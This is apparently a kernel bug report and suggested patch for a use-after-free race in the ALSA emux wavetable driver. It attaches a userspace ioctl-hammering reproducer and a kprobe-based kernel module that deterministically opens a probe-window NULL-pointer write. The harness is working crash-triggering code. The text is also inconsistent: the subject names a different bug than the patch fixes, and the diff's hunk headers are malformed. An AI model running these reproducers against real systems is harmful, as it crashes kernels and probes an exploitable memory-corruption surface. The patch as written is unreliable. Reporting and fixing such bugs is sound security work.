[PATCH] ALSA: emux: expose the hwdep device only after ports are initialized (probe-window NULL deref via MISC_MODE ioctl)

From: 徐晗翔

Date: Mon Nov 30 2026 - 22:25:49 EST


Opening /dev/snd/hwC*D* on an emux wavetable (emu10k1/emu8000 synth
sub-driver) pins only the base-card module (try_module_get of
hw->card->module in snd_hwdep_open()); the emux sub-driver module is
not pinned, and removing the sub-driver (rmmod snd_emu10k1_synth, or
sysfs unbind which bypasses module refcounts) runs snd_emux_free(),
which unconditionally kfree()s the struct snd_hwdep, the whole soundfont
list (snd_sf_free()) and the struct snd_emux itself -- while the fd
stays open with file->private_data pointing at the freed hwdep and
in-flight snd_emux_hwdep_ioctl() calls still executing (snd_hwdep_ioctl
holds no open_mutex, and snd_hwdep_dev_disconnect() checks neither
hwdep->used nor replaces f_op the way a whole-card disconnect does).
Verified on mainline 7.3 with a KASAN kernel and the real in-tree
snd-emux-synth module (harness attached): one hundred slab-use-after-free
reports while a hwdep fd hammers VERSION/MEM_AVAIL/MISC_MODE ioctls
across snd_emux_free() -- snd_emux_hwdep_ioctl() at five distinct
dereference points (emu->sflist, emu->memhdr, emu->portptrs including a
UAF write, hw->private_data) plus snd_hwdep_ioctl() reading hw->ops --
and, with rmmod, the module text can additionally be unloaded while
those callbacks are still running (snd_hwdep_f_ops.owner pins the
snd-hwdep module, not the emux one). Needs the synth sub-driver
probed; triggering the in-flight overlap needs only /dev/snd access.
Consequences: multi-object UAF read/write (function pointer tables,
mutex objects) and execution of unloaded module text -- crashes and a
controlled indirect-call surface.

The detailed description:

* Test environment / affected version

Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC
-- vanilla mainline 7.3 tree, unmodified sources; KASAN enabled,
QEMU/KVM x86_64 guest. sound/core/hwdep.c, sound/synth/emux/* and
sound/core/rawmidi.c are byte-identical between the tested tree and
the report baseline.

* Mechanism

- snd_hwdep_open() (hwdep.c:88) pins hw->card->module only; the emux
hwdep registers no ops.open/ops.release hooks
(emux_hwdep.c:126-131), so nothing increments snd_emux usage for
hwdep fds (contrast: sequencer port subscribe and OSS-sequencer
open both go through snd_emux_inc_count(), which also pins
emu->ops.owner -- the sub-driver module).
- snd_hwdep_ioctl() (hwdep.c:236-254) dispatches hw->ops.ioctl
without holding hw->open_mutex; the emux ioctl touches
hw->private_data, emu->sflist, emu->memhdr and emu->portptrs.
- The sub-driver removal path snd_emux_free() (emux.c:124-143)
performs snd_emux_delete_hwdep() -> snd_device_free() ->
snd_hwdep_dev_disconnect() (which does not consult hwdep->used and
does not revoke f_op for open fds) -> snd_hwdep_free() -> kfree
(hwdep), then snd_sf_free() -> kfree(sflist), kfree(emu->voices),
kfree(emu) -- none of it waits for hwdep->used to drop.
- Whole-card snd_card_free() is NOT affected: snd_card_disconnect()
replaces open fds' f_op with snd_shutdown_f_ops and the teardown
waits for all files to close before the free sequence runs. The
sub-driver independent removal bypasses that protocol entirely --
that bypass is the defect.

The same shape exists for the emux virtual rawmidi devices
(snd_emux_delete_virmidi() -> snd_device_free() of RAWMIDI devices;
snd_rawmidi_open() likewise only pins the card module and
snd_rawmidi_free() kfrees unconditionally), and for the probe error
path of snd_emux_register() (init_hwdep registers the device, then a
later init_seq failure frees everything through snd_emux_free()).
This patch fixes the hwdep fd face; the rawmidi face is mentioned
for completeness and needs the equivalent treatment.

* Trigger model

emu10k1/emu8000 hardware with the synth sub-driver probed
(hwC*D2 fixed for emu10k1). One process holds the exclusive hwdep
fd open and issues ioctls; another (root, or hot-unplug hardware
event) runs `rmmod snd_emu10k1_synth` (works: hwdep fds contribute
no sub-driver module refcount) or writes the driver's unbind file.
Consequence: UAF read/write on struct snd_hwdep (function pointer
table hw->ops, hw->used decrement), struct snd_emux, struct
snd_sf_list (presets_mutex operations on freed memory) and the
portptrs targets, plus execution of already-unloaded module text in
the rmmod case.

* Reproducer and results on 7.3

synthrace.c registers the real in-tree emux on a virtual card
(snd_emux_new/snd_emux_register, backend ops mirroring emu10k1);
synth_test holds /dev/snd/hwC0D0 open and loops the three ioctls;
writing 1 to the module's "free" parameter runs the real
snd_emux_free() (the sub-driver remove body) under the hammer.

Results (7.3, KASAN, 2 vCPU): 100 slab-use-after-free reports:
snd_emux_hwdep_ioctl+0x73/0x15d/0x1bd/0x2be/0x2d6 (emu/sflist/memhdr/
portptrs accesses, including a UAF write) and
snd_hwdep_ioctl+0x11f (hw->ops read). A harness run with the free
disabled stays clean.

* Fix

Give hwdep fds the same user accounting the sequencer and OSS paths
already have, and make the sub-driver removal wait for them:

- register hw->ops.open / hw->ops.release calling
snd_emux_inc_count() / snd_emux_dec_count(). inc_count already
try_module_get()s emu->ops.owner (the sub-driver module), so an
open hwdep fd now blocks rmmod exactly like a sequencer/OSS user;
- count open fds additionally in a new atomic emu->hwdep_users and
make snd_emux_free() wait for it to drain (at the top, before any
sub-structure is torn down, so in-flight ioctls cannot observe
partially freed state either).

sysfs unbind bypasses module refcounts, which is why the drain wait
is needed in addition to the refcount. This matches the semantics
the whole-card path already provides (snd_card_disconnect() waits
for open files before anything is freed).

The patch is a suggested direction, written against 7.3 and reviewed
by inspection; it has not been runtime-validated (the reported
reproduction used the unpatched kernel). Happy to test any
counter-proposal.

* Patch

[PATCH] ALSA: emux: drain open hwdep users before freeing emux
structures

snd_emux_free() (the sub-driver remove path, reachable via
rmmod snd_emu10k1_synth or sysfs unbind) kfrees the struct snd_hwdep,
the soundfont list and the struct snd_emux without waiting for open
hwdep file descriptors: hwdep fds pin only the base-card module, the
emux hwdep registers no open/release hooks, and an in-flight
snd_emux_hwdep_ioctl() (which does not hold open_mutex) plus every
later operation on the stale fd hits freed memory. KASAN on 7.3 shows
100 UAF reports in snd_emux_hwdep_ioctl/snd_hwdep_ioctl for this
interleave.

Register hwdep open/release hooks that take snd_emux_inc_count()
(also pinning emu->ops.owner against rmmod, like the sequencer and
OSS-sequencer paths already do), count them in a new emu->hwdep_users,
and make snd_emux_free() wait for that count to drain before tearing
anything down -- mirroring the drain that snd_card_disconnect()
performs for whole-card removal. Note that sysfs unbind is not
covered by module refcounts, which is why the drain wait is required
in addition to the refcount.

--- a/include/sound/emux_synth.h
+++ b/include/sound/emux_synth.h
@@ -99,6 +99,8 @@ struct snd_emux {
int use_time; /* allocation counter */
spinlock_t voice_lock; /* Lock for voice access */
struct mutex register_mutex;
+ atomic_t hwdep_users; /* open hwdep fds */
+ wait_queue_head_t free_wait; /* sub-driver removal waits for hwdep_users */
int client; /* For the sequencer client */
int ports[SNDRV_EMUX_MAX_PORTS]; /* The ports for this device */
--- a/sound/synth/emux/emux.c
+++ b/sound/synth/emux/emux.c
@@ -32,6 +32,8 @@ int snd_emux_new(struct snd_emux **remu)
spin_lock_init(&emu->voice_lock);
mutex_init(&emu->register_mutex);
+ atomic_set(&emu->hwdep_users, 0);
+ init_waitqueue_head(&emu->free_wait);
emu->client = -1;
@@ -126,6 +130,19 @@ int snd_emux_free(struct snd_emux *emu)
if (! emu)
return -EINVAL;

timer_shutdown_sync(&emu->tlist);
+


+ wait_event(emu->free_wait, !atomic_read(&emu->hwdep_users));

snd_emux_proc_free(emu);
snd_emux_delete_virmidi(emu);
--- a/sound/synth/emux/emux_hwdep.c
+++ b/sound/synth/emux/emux_hwdep.c
@@ (before snd_emux_hwdep_ioctl)


+static int
+snd_emux_hwdep_open(struct snd_hwdep *hw, struct file *file)
+{
+ struct snd_emux *emu = hw->private_data;
+
+ if (!snd_emux_inc_count(emu))
+ return -EFAULT;
+ atomic_inc(&emu->hwdep_users);
+ return 0;
+}
+
+static int
+snd_emux_hwdep_release(struct snd_hwdep *hw, struct file *file)
+{
+ struct snd_emux *emu = hw->private_data;
+
+ atomic_dec(&emu->hwdep_users);
+ wake_up(&emu->free_wait);
+ snd_emux_dec_count(emu);
+ return 0;
+}
+
+
/*
* ioctl
*/
static int
snd_emux_hwdep_ioctl(struct snd_hwdep * hw, struct file *file,
@@ -120,6 +166,9 @@ int
hw->iface = SNDRV_HWDEP_IFACE_EMUX_WAVETABLE;
hw->ops.ioctl = snd_emux_hwdep_ioctl;
/* The ioctl parameter types are compatible between 32- and
* 64-bit architectures, so use the same function. */
hw->ops.ioctl_compat = snd_emux_hwdep_ioctl;
+ hw->ops.open = snd_emux_hwdep_open;
+ hw->ops.release = snd_emux_hwdep_release;
hw->exclusive = 1;
hw->private_data = emu;
--
2.47.1


Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
xuhx@xxxxxxxxxxx
// SPDX-License-Identifier: GPL-2.0
/*
* synth_test.c - userspace driver for the emux race verification harness.
*
* Plans:
* load [secs] - open /dev/snd/hwC0D0 and load a soundfont through the
* REAL hwdep SNDRV_EMUX_IOCTL_LOAD_PATCH path
* (OPEN_PATCH + LOAD_DATA + LOAD_INFO), then keep the
* fd open. Writes /tmp/synth_loaded when done.
* reload [secs] - same, but keeps re-issuing LOAD_DATA+LOAD_INFO in a
* loop (font gets eaten by the kernel-side removal
* hammer in plan mr01nat).
* mr03 [iters] - open hwdep and hammer ioctls (VERSION / MEM_AVAIL /
* MISC_MODE) - the in-flight side of SYNTH-MR-03.
* mr04 [iters] - hammer open+read+close on
* /proc/asound/card0/wavetableD0 - the reader side of
* SYNTH-MR-04.
* mr04hold - open the proc file, print "HOLD", sleep 3s (the host
* script frees emux in between), then read again -
* delayed-UAF variant of SYNTH-MR-04.
* mr05 - poll for /dev/snd/hwC0D0 (probe-window race), open it
* and issue SNDRV_EMUX_IOCTL_MISC_MODE - the NULL-deref
* side of SYNTH-MR-05.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sound/asound.h>
#include "include/sound/sfnt_info.h"

/* ---- soundfont binary construction (wire format of
* sound/synth/emux/soundfont.c) ---- */

static void patch_hdr(unsigned char *p, int type, int len, int optarg)
{
struct soundfont_patch_info h;

memset(&h, 0, sizeof(h));
h.key = SNDRV_OSS_SOUNDFONT_PATCH;
h.device_no = 0;
h.sf_id = 0;
h.optarg = optarg;
h.len = len;
h.type = type;
memcpy(p, &h, sizeof(h));
}

static int sf_load(int fd)
{
unsigned char buf[512];
struct soundfont_open_parm parm;
struct soundfont_sample_info si;
struct soundfont_voice_rec_hdr rh;
struct soundfont_voice_info vi;
int rc;

/* OPEN_PATCH */
memset(&parm, 0, sizeof(parm));
parm.type = SNDRV_SFNT_PAT_TYPE_MISC | SNDRV_SFNT_PAT_SHARED;
strcpy(parm.name, "synthrace");
patch_hdr(buf, SNDRV_SFNT_OPEN_PATCH, sizeof(parm), 0);
memcpy(buf + sizeof(struct soundfont_patch_info), &parm, sizeof(parm));
rc = ioctl(fd, SNDRV_EMUX_IOCTL_LOAD_PATCH, buf);
if (rc < 0) {
/* font already open from an earlier round */
if (errno == EBUSY)
return 0;
fprintf(stderr, "LOAD_PATCH OPEN: %s\n", strerror(errno));
return -1;
}

/* LOAD_DATA: 1 sample, 64 s16le frames */
memset(&si, 0, sizeof(si));
si.sample = 1;
si.start = 0;
si.end = 64;
si.loopstart = 8;
si.loopend = 56;
si.size = 64;
si.mode_flags = SNDRV_SFNT_SAMPLE_NO_BLANK;
patch_hdr(buf, SNDRV_SFNT_LOAD_DATA, sizeof(si) + si.size * 2, 0);
memcpy(buf + sizeof(struct soundfont_patch_info), &si, sizeof(si));
memset(buf + sizeof(struct soundfont_patch_info) + sizeof(si), 0x7f,
si.size * 2);
rc = ioctl(fd, SNDRV_EMUX_IOCTL_LOAD_PATCH, buf);
if (rc < 0) {
fprintf(stderr, "LOAD_PATCH DATA: %s\n", strerror(errno));
return -1;
}

/* LOAD_INFO: one zone, bank 0 / instr 0, note 0..127, vel 0..127,
* exclusiveClass = 1, tied to sample 1 */
memset(&vi, 0, sizeof(vi));
vi.sf_id = 0;
vi.sample = 1;
vi.root = 60;
vi.high = 127;
vi.velhigh = 127;
vi.fixkey = -1;
vi.fixvel = -1;
vi.fixpan = -1;
vi.pan = -1;
vi.amplitude = 127;
vi.scaleTuning = 100;
vi.exclusiveClass = 1;
memset(&rh, 0, sizeof(rh));
rh.bank = 0;
rh.instr = 0;
rh.nvoices = 1;
rh.write_mode = SNDRV_SFNT_WR_APPEND;
patch_hdr(buf, SNDRV_SFNT_LOAD_INFO,
sizeof(rh) + sizeof(vi), 0);
memcpy(buf + sizeof(struct soundfont_patch_info), &rh, sizeof(rh));
memcpy(buf + sizeof(struct soundfont_patch_info) + sizeof(rh),
&vi, sizeof(vi));
rc = ioctl(fd, SNDRV_EMUX_IOCTL_LOAD_PATCH, buf);
if (rc < 0) {
fprintf(stderr, "LOAD_PATCH INFO: %s\n", strerror(errno));
return -1;
}

/* CLOSE_PATCH -> close_patch() -> rebuild_presets(): zones loaded via
* LOAD_INFO only enter the preset table at close time (this is the
* real sfxload sequence), so note_on's search_zones() can find them */
patch_hdr(buf, SNDRV_SFNT_CLOSE_PATCH, 0, 0);
rc = ioctl(fd, SNDRV_EMUX_IOCTL_LOAD_PATCH, buf);
if (rc < 0) {
fprintf(stderr, "LOAD_PATCH CLOSE: %s\n", strerror(errno));
return -1;
}
return 0;
}

static int plan_load(int secs, int reload)
{
int fd, n = 0;
unsigned long until = (unsigned long)time(NULL) + (secs > 0 ? secs : 30);

fd = open("/dev/snd/hwC0D0", O_RDWR);
if (fd < 0) {
fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
return 1;
}
if (sf_load(fd) < 0) {
close(fd);
return 1;
}
printf("LOAD: font ready\n");
fflush(stdout);
int tf = open("/tmp/synth_loaded", O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (tf >= 0)
close(tf);

while (reload && (unsigned long)time(NULL) < until) {
/* re-load data+info; kernel-side hammer eats the font */
if (sf_load(fd) < 0)
break;
n++;
usleep(2000);
}
printf("LOAD: done (%d reloads)\n", n);
/* keep the fd open until the plan ends (exclusive hwdep) */
sleep(secs > 0 ? secs : 30);
close(fd);
return 0;
}

static int plan_mr03(int iters)
{
int fd, i;
struct snd_emux_misc_mode mm;
unsigned int ver = 0;
int avail = 0;

fd = open("/dev/snd/hwC0D0", O_RDWR);
if (fd < 0) {
fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
return 1;
}
printf("MR03: hammering %d ioctl iterations\n", iters);
fflush(stdout);
for (i = 0; i < iters; i++) {
ioctl(fd, SNDRV_EMUX_IOCTL_VERSION, &ver);
ioctl(fd, SNDRV_EMUX_IOCTL_MEM_AVAIL, &avail);
memset(&mm, 0, sizeof(mm));
mm.port = -1;
mm.mode = 0;
mm.value = 0;
ioctl(fd, SNDRV_EMUX_IOCTL_MISC_MODE, &mm);
if ((i % 128) == 0) {
printf("MR03: iter %d\n", i);
fflush(stdout);
}
usleep(100);
}
printf("MR03: closing\n");
fflush(stdout);
close(fd);
sleep(2);
close(open("/dev/snd/hwC0D0", O_RDWR)); /* delayed variant: reopen */
printf("MR03: done\n");
return 0;
}

static int plan_mr04(int iters)
{
int i;

printf("MR04: hammering %d proc-read iterations\n", iters);
fflush(stdout);
for (i = 0; i < iters; i++) {
char buf[4096];
int fd = open("/proc/asound/card0/wavetableD0", O_RDONLY);

if (fd >= 0) {
ssize_t r = read(fd, buf, sizeof(buf));

(void)r;
close(fd);
}
if ((i % 128) == 0) {
printf("MR04: iter %d\n", i);
fflush(stdout);
}
usleep(500);
}
printf("MR04: done\n");
return 0;
}

static int plan_mr04hold(void)
{
char buf[4096];
int fd;

fd = open("/proc/asound/card0/wavetableD0", O_RDONLY);
if (fd < 0) {
fprintf(stderr, "open proc: %s\n", strerror(errno));
return 1;
}
printf("MR04HOLD: fd open, reading once\n");
fflush(stdout);
read(fd, buf, sizeof(buf));
printf("MR04HOLD: holding fd for 4s (free happens now)\n");
fflush(stdout);
sleep(4);
off_t ls = lseek(fd, 0, SEEK_SET);
printf("MR04HOLD: delayed read on stale fd (lseek=%ld)\n", (long)ls);
fflush(stdout);
ssize_t rr = read(fd, buf, sizeof(buf));
printf("MR04HOLD: stale read rc=%zd errno=%d\n", rr, rr < 0 ? errno : 0);
fflush(stdout);
printf("MR04HOLD: done\n");
close(fd);
return 0;
}

static int plan_mr05(void)
{
int fd, tries;
struct snd_emux_misc_mode mm;

for (tries = 0; tries < 5000; tries++) {
struct stat st;

if (stat("/dev/snd/hwC0D0", &st) == 0)
break;
usleep(1000);
}
if (tries >= 5000) {
fprintf(stderr, "MR05: hwC0D0 never appeared\n");
return 1;
}
fd = open("/dev/snd/hwC0D0", O_RDWR);
if (fd < 0) {
fprintf(stderr, "MR05: open: %s\n", strerror(errno));
return 1;
}
printf("MR05: opened inside probe window, issuing MISC_MODE\n");
fflush(stdout);
memset(&mm, 0, sizeof(mm));
mm.port = -1;
mm.mode = 0;
mm.value = 0;
ioctl(fd, SNDRV_EMUX_IOCTL_MISC_MODE, &mm);
printf("MR05: ioctl returned rc=%d (%s)\n", fd, strerror(errno));
fflush(stdout);
close(fd);
return 0;
}

int main(int argc, char **argv)
{
if (argc < 2) {
fprintf(stderr, "usage: synth_test <plan> [arg]\n");
return 2;
}
if (!strcmp(argv[1], "load"))
return plan_load(argc > 2 ? atoi(argv[2]) : 30, 0);
if (!strcmp(argv[1], "reload"))
return plan_load(argc > 2 ? atoi(argv[2]) : 30, 1);
if (!strcmp(argv[1], "mr03"))
return plan_mr03(argc > 2 ? atoi(argv[2]) : 3000);
if (!strcmp(argv[1], "mr04"))
return plan_mr04(argc > 2 ? atoi(argv[2]) : 2000);
if (!strcmp(argv[1], "mr04hold"))
return plan_mr04hold();
if (!strcmp(argv[1], "mr05"))
return plan_mr05();
fprintf(stderr, "unknown plan %s\n", argv[1]);
return 2;
}
// SPDX-License-Identifier: GPL-2.0
/*
* synthmr05.c - controlled-window verification for SYNTH-MR-05
* (docs/manual-review-sound-synth-2026-11-26.md §2.5):
*
* snd_emux_register() calls snd_emux_init_hwdep() FIRST, whose
* snd_card_register() publishes /dev/snd/hwC*D* to userspace, and only then
* snd_emux_init_seq() fills emu->portptrs[] (kzalloc'd NULL until then).
* A user opening the hwdep node inside that window and issuing
* SNDRV_EMUX_IOCTL_MISC_MODE hits snd_emux_hwdep_misc_mode() ->
* emu->portptrs[i]->ctrls[..] with portptrs[i] == NULL -> NULL-pointer
* WRITE -> oops.
*
* Controlled window: kprobe on snd_emux_init_seq() stalls the (single-caller)
* probe thread at its entry - i.e., exactly after the hwdep node is exposed
* and before portptrs[] is filled. Userspace polls for the node, opens it,
* issues the ioctl -> deterministic NULL deref. After the stall expires the
* registration completes.
*/
#define pr_fmt(fmt) "SYNTHMR05: " fmt

#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/kprobes.h>
#include <linux/kthread.h>
#include <linux/delay.h>
#include <linux/completion.h>
#include <linux/device.h>
#include <sound/core.h>
#include <sound/emux_synth.h>
#include <sound/util_mem.h>

static struct device *parent;
static struct snd_card *card;
static struct snd_emux *emu;
static struct kprobe mr5_kp;
static struct completion reg_done;

static unsigned int stall_ms = 4000;
module_param(stall_ms, uint, 0400);

static int mr5_start(struct snd_emux_voice *vp) { return 0; }
static void mr5_void1(struct snd_emux_voice *vp) {}
static void mr5_void2(struct snd_emux_voice *vp, int u) {}
static struct snd_emux_voice *mr5_get_voice(struct snd_emux *e,
struct snd_emux_port *port)
{
return NULL;
}
static int mr5_snew(struct snd_emux *e, struct snd_sf_sample *sp,
struct snd_util_memhdr *h, const void __user *d, long c)
{
sp->block = snd_util_mem_alloc(h, 256);
return sp->block ? 0 : -ENOMEM;
}
static int mr5_sfree(struct snd_emux *e, struct snd_sf_sample *sp,
struct snd_util_memhdr *h)
{
if (sp->block) {
snd_util_mem_free(h, sp->block);
sp->block = NULL;
}
return 0;
}

static const struct snd_emux_operators mr5_ops = {
.owner = THIS_MODULE,
.get_voice = mr5_get_voice,
.prepare = mr5_start,
.trigger = mr5_void1,
.release = mr5_void1,
.update = mr5_void2,
.terminate = mr5_void1,
.sample_new = mr5_snew,
.sample_free = mr5_sfree,
};

static int mr5_reg_pre(struct kprobe *p, struct pt_regs *regs)
{
pr_info("probe thread stalled at snd_emux_init_seq() entry: "
"hwC0D0 exposed, portptrs[] still NULL (window open)\n");
mdelay(stall_ms);
pr_info("probe thread resuming snd_emux_init_seq()\n");
return 0;
}

static int mr5_reg_thread(void *arg)
{
int err;

err = snd_emux_new(&emu);
if (err < 0) {
complete(&reg_done);
return 0;
}
emu->ops = mr5_ops;
emu->hw = card;
emu->max_voices = 8;
emu->num_ports = 1; /* > 0: drives the buggy loop bound */
emu->midi_ports = 0;
emu->hwdep_idx = 0; /* /dev/snd/hwC0D0 */
emu->memhdr = snd_util_memhdr_new(0x100000);

/* registers hwdep (exposes hwC0D0 via snd_card_register) and then
* enters snd_emux_init_seq() -> stalled by the kprobe */
err = snd_emux_register(emu, card, 0, "synthmr05");
pr_info("snd_emux_register returned %d\n", err);
if (err < 0) {
snd_emux_free(emu);
emu = NULL;
}
complete(&reg_done);
return 0;
}

static int arm_set(const char *val, const struct kernel_param *kparam)
{
struct task_struct *t;
int ret;

if (!card)
return -ENODEV;

memset(&mr5_kp, 0, sizeof(mr5_kp));
mr5_kp.symbol_name = "snd_emux_init_seq";
mr5_kp.pre_handler = mr5_reg_pre;
ret = register_kprobe(&mr5_kp);
if (ret) {
pr_err("register_kprobe(snd_emux_init_seq) failed: %d\n", ret);
return ret;
}
init_completion(&reg_done);
t = kthread_run(mr5_reg_thread, NULL, "synthmr05_reg");
if (IS_ERR(t)) {
unregister_kprobe(&mr5_kp);
return PTR_ERR(t);
}
pr_info("armed: probe thread started, window open for ~%ums\n",
stall_ms);
return 0;
}
static const struct kernel_param_ops arm_ops = { .set = arm_set };
module_param_cb(arm, &arm_ops, NULL, 0200);

static int __init synthmr05_init(void)
{
int err;

init_completion(&reg_done);
parent = root_device_register("synthmr05");
if (IS_ERR(parent))
return PTR_ERR(parent);
err = snd_card_new(parent, 0, "synthmr05", THIS_MODULE, 0, &card);
if (err < 0) {
root_device_unregister(parent);
parent = NULL;
return err;
}
return 0;
}

static void __exit synthmr05_exit(void)
{
wait_for_completion_timeout(&reg_done, msecs_to_jiffies(30000));
unregister_kprobe(&mr5_kp);
if (emu) {
snd_emux_free(emu);
emu = NULL;
}
if (card) {
snd_card_free(card);
card = NULL;
}
if (parent) {
root_device_unregister(parent);
parent = NULL;
}
}

module_init(synthmr05_init);
module_exit(synthmr05_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("SYNTH-MR-05 probe-window race verification harness");